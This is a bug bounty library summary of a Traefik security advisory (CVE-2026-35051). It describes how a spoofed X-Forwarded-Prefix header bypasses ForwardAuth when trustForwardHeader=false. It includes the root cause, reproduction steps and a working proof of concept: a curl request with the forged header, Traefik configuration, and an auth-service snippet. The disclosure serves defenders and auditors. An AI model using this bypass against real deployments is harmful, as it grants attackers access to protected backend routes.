# Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

Traefik ForwardAuth with trustForwardHeader=false fails to strip attacker-supplied X-Forwarded-Prefix, letting spoofed prefix reach the auth service and bypass access control.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: Zwique
- Disclosed: 2026-04-24
- CVE: CVE-2026-35051
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-6384-m2mw-rf54
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6384-m2mw-rf54
- Tags: area:cloud domain:infra impact:internal-access kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:host-header

**Target:** ForwardAuth middleware subrequest to authentication service
**Root cause:** writeHeader copies all incoming headers into the auth subrequest and rebuilds only a subset of X-Forwarded-* headers when trustForwardHeader=false, omitting X-Forwarded-Prefix. StripPrefix then appends its own prefix via Header.Add, so the attacker's value stays first in the list.
**Steps:**
1. Deploy Traefik v3.6.12 behind a trusted proxy (nginx) with forwardedHeaders.trustedIPs set to the proxy subnet.
2. Configure a router with middlewares stripPrefix(prefixes=["/forbidden"]) then forwardAuth(address=http://auth:8000/check, trustForwardHeader=false).
3. Auth service authorizes when the first X-Forwarded-Prefix value equals `/admin`.
4. Send `curl -H 'Host: app.local' -H 'X-Forwarded-Prefix: /admin' http://<proxy>/forbidden/test`.
5. Auth service receives all_prefixes `["/admin", "/forbidden"]`, first_prefix `/admin`, returns 200; request reaches protected backend.
**How found:** Reporter compared documented behavior (trustForwardHeader=false should strip all X-Forwarded-* headers) against source: writeHeader rebuilds X-Forwarded-For/Method/Proto/Port/Host/Uri but not X-Forwarded-Prefix, and StripPrefix uses Header.Add rather than Set. Direct-to-Traefik requests returned 403 while proxied requests with the spoofed header returned 200, isolating the flaw to the ForwardAuth subrequest path.
**Exploitation:** External unauthenticated attacker sends a request through the trusted upstream proxy with a crafted `X-Forwarded-Prefix: /admin` header. Traefik's ForwardAuth subrequest preserves the spoofed value ahead of the StripPrefix-generated one; an auth service reading the first prefix authorizes the request, granting access to protected backend routes.
**Insight:** When a proxy rebuilds a whitelist of X-Forwarded-* headers, any header outside that list survives; audit Header.Add vs Header.Set in prefix-stripping middleware since appended values land after attacker-controlled ones and first-value parsers trust the spoof.

## Proof of concept (copied exactly from the original report)

**curl through trusted proxy with spoofed X-Forwarded-Prefix**

```
curl -sS -i \
  -H 'Host: app.local' \
  -H 'X-Forwarded-Prefix: /admin' \
  http://127.0.0.1:18080/forbidden/test

Observed result:
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
```

**Traefik config with trustedIPs and ForwardAuth**

```
[entryPoints]
  [entryPoints.web]
    address = ":80"
    [entryPoints.web.forwardedHeaders]
      trustedIPs = ["172.31.79.0/24"]

[providers]
  [providers.file]
    filename = "/etc/traefik/dynamic.toml"
    watch = false

[log]
  level = "DEBUG"

[accessLog]

2. Create `dynamic.toml`:

[http.routers]
  [http.routers.app]
    entryPoints = ["web"]
    rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
    middlewares = ["strip-forbidden", "authz"]
    service = "backend"

[http.middlewares]
  [http.middlewares.strip-forbidden.stripPrefix]
    prefixes = ["/forbidden"]

  [http.middlewares.authz.forwardAuth]
    address = "http://auth:8000/check"
    trustForwardHeader = false
    authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
```

**Auth service that trusts first X-Forwarded-Prefix**

```
prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
        first = prefixes[0] if prefixes else ""
        payload = {
            "path": self.path,
            "first_prefix": first,
            "all_prefixes": prefixes,
            "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
        }
        print(json.dumps(payload), flush=True)

        if first == "/admin":
            self.send_response(200)
            self.send_header("X-Auth-First-Prefix", first)
```

